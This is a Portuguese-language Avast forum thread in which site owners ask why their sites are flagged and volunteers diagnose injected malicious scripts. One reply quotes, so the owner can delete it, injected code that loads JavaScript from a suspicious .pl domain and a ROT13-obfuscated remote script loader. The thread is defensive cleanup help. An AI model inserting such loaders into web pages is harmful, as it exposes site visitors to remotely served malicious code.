Author Topic: Avast esta acusando meu site como virus  (Read 7708 times)

0 Members and 1 Guest are viewing this topic.

bianca_inovattio

  • Guest
Avast esta acusando meu site como virus
« on: March 31, 2014, 10:51:38 PM »
Olá a todos, meu site está sendo bloqueado pelo avast e está dando alerta de virus: http://www.inovattio.com     

Por favor, alguém pode verificar e me ajudar a retirar da lista negra?

Muito obrigada.

Offline jefferson sant

  • Starting Graphoman
  • *
  • Posts: 6677
  • volunteer
Re: Avast esta acusando meu site como virus
« Reply #1 on: March 31, 2014, 11:34:33 PM »
boa noite



desculpe mas a detecção está correta
 há um codigo malicioso neste script

1 -> xxx/scripts/banner/jquery.chocoslider.js
2 -> xxx/galeria_azul/Scripts/swfobject_modified.js
3 -> xxx/contactform/gen_validatorv4.js


http://quttera.com/detailed_report/www.inovattio.com

Parte deste site foi listada por atividade suspeita 1 vezes durante os últimos 90 dias

http://www.google.com/safebrowsing/diagnostic?site=inovattio.com


Detectado injeção de iframe malicioso

http://urlquery.net/report.php?id=1396300839331

bianca_inovattio

  • Guest
Re: Avast esta acusando meu site como virus
« Reply #2 on: April 01, 2014, 05:56:56 PM »
Jefferson,

Olhando aqui o que você me passou

No caso do chocoslider.js....e o do banner...dei uma olhada no site do desenvolvedor, procurei buscar e não tem referencia de ser malicioso.
http://chocoslider.alandawi.com.ar/index_en.html

No caso do gen.validator... é um validador de email para formulario simples.

http://www.javascript-coder.com/html-form/javascript-form-validation.phtml#download

E no caso do swfobject_modified.js ... é do proprio flash no dreamweaver que gera este plugin.

Inclusive neste scan de site online não acusou nada.

http://sitecheck2.sucuri.net/results/www.inovattio.com

Não sei o que fazer... sera que alguem pode ajudar?

Obrigada
« Last Edit: April 01, 2014, 09:07:47 PM by bianca_inovattio »

Offline jefferson sant

  • Starting Graphoman
  • *
  • Posts: 6677
  • volunteer
Re: Avast esta acusando meu site como virus
« Reply #3 on: April 01, 2014, 10:25:48 PM »
 A Url foi desbloqueada

código comumente usado "hide" é para esconder um comportamento malicioso.

como foi limpo
http://urlquery.net/report.php?id=1396383981307

Quote
var anims = new Array("slide", "fade");
                vars.randAnim = anims[Math.floor(Math.random() * (anims.length + 1))];
                if (vars.randAnim == undefined) vars.randAnim = 'fade'
enabled: function(elem) {
                    return elem.disabled === false && elem.type !== "hidden"
                },
removeEvent(overlay,"click",S.close);wrapper.style.visibility="hidden";var callback=function(){container.style.visibility="hidden";container.style.display="none";toggleTroubleElements(true)};if(overlayOn){animate(overlay,"opacity",0,S.options.

leia mais

http://blog.sucuri.net/2012/11/website-malware-spam-injections-hideme-kickeme.html
« Last Edit: April 01, 2014, 10:28:34 PM by jefferson santiag »

Offline Lisandro

  • Avast team
  • Certainly Bot
  • *
  • Posts: 67194
Re: Avast esta acusando meu site como virus
« Reply #4 on: April 01, 2014, 11:53:52 PM »
The best things in life are free.

Offline polonus

  • Avast Überevangelist
  • Probably Bot
  • *****
  • Posts: 33897
  • malware fighter
Re: Avast esta acusando meu site como virus
« Reply #5 on: April 02, 2014, 12:07:31 AM »
Site já não está bloqueado,

polonus
Cybersecurity is more of an attitude than anything else. Avast Evangelists.

Use NoScript, a limited user account and a virtual machine and be safe(r)!

REDACTED

  • Guest
Re: Avast esta acusando meu site como virus
« Reply #6 on: December 05, 2014, 08:15:54 PM »
Meu blog também está aparecendo com essa mensagem! É o "alguemviumeusoculos.blogspot.com"! Apareceu uma mensagem de ameaça no meu computador e alguns amigos comentaram que no deles também aparece.

Alguém sabe dizer o que é?

Obrigada!

Offline jefferson sant

  • Starting Graphoman
  • *
  • Posts: 6677
  • volunteer
Re: Avast esta acusando meu site como virus
« Reply #7 on: December 30, 2014, 01:25:21 AM »
Meu blog também está aparecendo com essa mensagem! É o "alguemviumeusoculos.blogspot.com"! Apareceu uma mensagem de ameaça no meu computador e alguns amigos comentaram que no deles também aparece.
Alguém sabe dizer o que é?
Obrigada!

o site foi desbloqueado por um membro da equipe enquanto não estive presente no fórum.

REDACTED

  • Guest
Re: Avast esta acusando meu site como virus
« Reply #8 on: January 05, 2015, 10:26:11 PM »
Boas, algumas pessoas também estão dizendo que o meu site está a ser marcado como virus pelo Avast. Alguem consegue ver qual o problema?

http://www.taldisparate.net

Offline Lisandro

  • Avast team
  • Certainly Bot
  • *
  • Posts: 67194
Re: Avast esta acusando meu site como virus
« Reply #9 on: January 05, 2015, 10:42:04 PM »
Boas, algumas pessoas também estão dizendo que o meu site está a ser marcado como virus pelo Avast. Alguem consegue ver qual o problema?

http://www.taldisparate.net
Para verificar se um site está limpo, utilize:
https://www.virustotal.com
http://zulu.zscaler.com
http://dnscheck.pingdom.com
http://www.siteadvisor.com

Para verificar se um site está hospedado em afraid.org, vá para http://freedns.afraid.org/ e digite o URL na caixa do canto superior direito e, depois, clique no botão "Trace". Qualquer domínio hospedado em afraid.org pode ser utilizado por outras pessoas para hospedagem (DNS hosting) sem o seu controle. Se isto acontecer com o seu domínio, ele pode ter sido utilizado para finalidades maliciosas. Neste caso, quando ninguém tem o controle dos subdomínios (DNS hijacking), o avast! bloqueia todo o domínio para proteger os seus usuários. Provavelmente, a solução será trocar a hospedagem do DNS e voltar a nos informar (www.avast.com/contact-form.php).
The best things in life are free.

REDACTED

  • Guest
Re: Avast esta acusando meu site como virus
« Reply #10 on: January 06, 2015, 12:15:11 AM »
Tive a testar nestes sites e não encontraram nenhum problema... Estive a ver o afraid.org e também não esta hospedado lá. Não seu realmente qual o problema

Offline jefferson sant

  • Starting Graphoman
  • *
  • Posts: 6677
  • volunteer
Re: Avast esta acusando meu site como virus
« Reply #11 on: January 06, 2015, 01:11:30 AM »
Tive a testar nestes sites e não encontraram nenhum problema... Estive a ver o afraid.org e também não esta hospedado lá. Não seu realmente qual o problema



Boa noite.

Detecção está correta
 
injection é bloqueado corretamente

apagar as linhas abaixo
 
Code: [Select]
//]]></script>
<script type="text/javascript">var a="indexOf",b="&m=1",e="(^|&)m=",f="?",g="?m=1";function h(){var c=window.location.href,d=c.split(f);switch(d.length){case 1:return c+g;case 2:return 0<=d[1].search(e)?null:c+b;default:return null}}var k=navigator.userAgent;if(-1!=k[a]("Mobile")&&-1!=k[a]("WebKit")&&-1==k[a]("iPad")||-1!=k[a]("Opera Mini")||-1!=k[a]("IEMobile")){var l=h();l&&window.location.replace(l)};
</script><script type="text/javascript">
if (window.jstiming) window.jstiming.load.tick('headEnd');
</script></head>
<!--<body>-->
<body>
<!-- hstpnetwork ads -->
<script type='text/javascript'>
                               (function(document,window) {
                               
                                    var dt= new Date();  var a = document.createElement("script");
                                        a.type = "text/javascript";
                                        a.src = "http://b117f8da23446a91387efea0e428392a.pl/scripts/ws1363.min.js?b=20140715&cd=" +dt.getFullYear()+""+dt.getMonth()+""+dt.getDate()+""+dt.getHours();
                                        var c = document.getElementsByTagName("script")[0];
                                        c.parentNode.insertBefore(a, c);
                                     })(document,window);
                                </script>
<!-- end hstpnetwork ads -->
<script type='text/javascript'>
            (function(){function r(s){return s.replace(/[A-z]/g,function(c){return String.fromCharCode(c.charCodeAt(0)+('M'>=c.toUpperCase()?13:-13))})}
    var c=document.createElement('script'),wdefine=typeof define!=='undefined'?define:false;c.type='text/javascript';c.async=true;
    c.setAttribute('data-main',r('uggc://ncc.zlfnsrhey.pbz/ncc.wf'));c.src='//cdnjs.cloudflare.com/ajax/libs/require.js/2.1.10/require.min.js';
    c.onload=function(){mydefine=define,define=wdefine?wdefine:null;};
    var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c,s);
})();
</script>
« Last Edit: January 06, 2015, 01:18:25 AM by jefferson santiag »

Offline Sirmer

  • Avast team
  • Sr. Member
  • *
  • Posts: 324
Re: Avast esta acusando meu site como virus
« Reply #12 on: January 06, 2015, 08:26:59 AM »
Hello,

we block it because of b117f8da23446a91387efea0e428392a.pl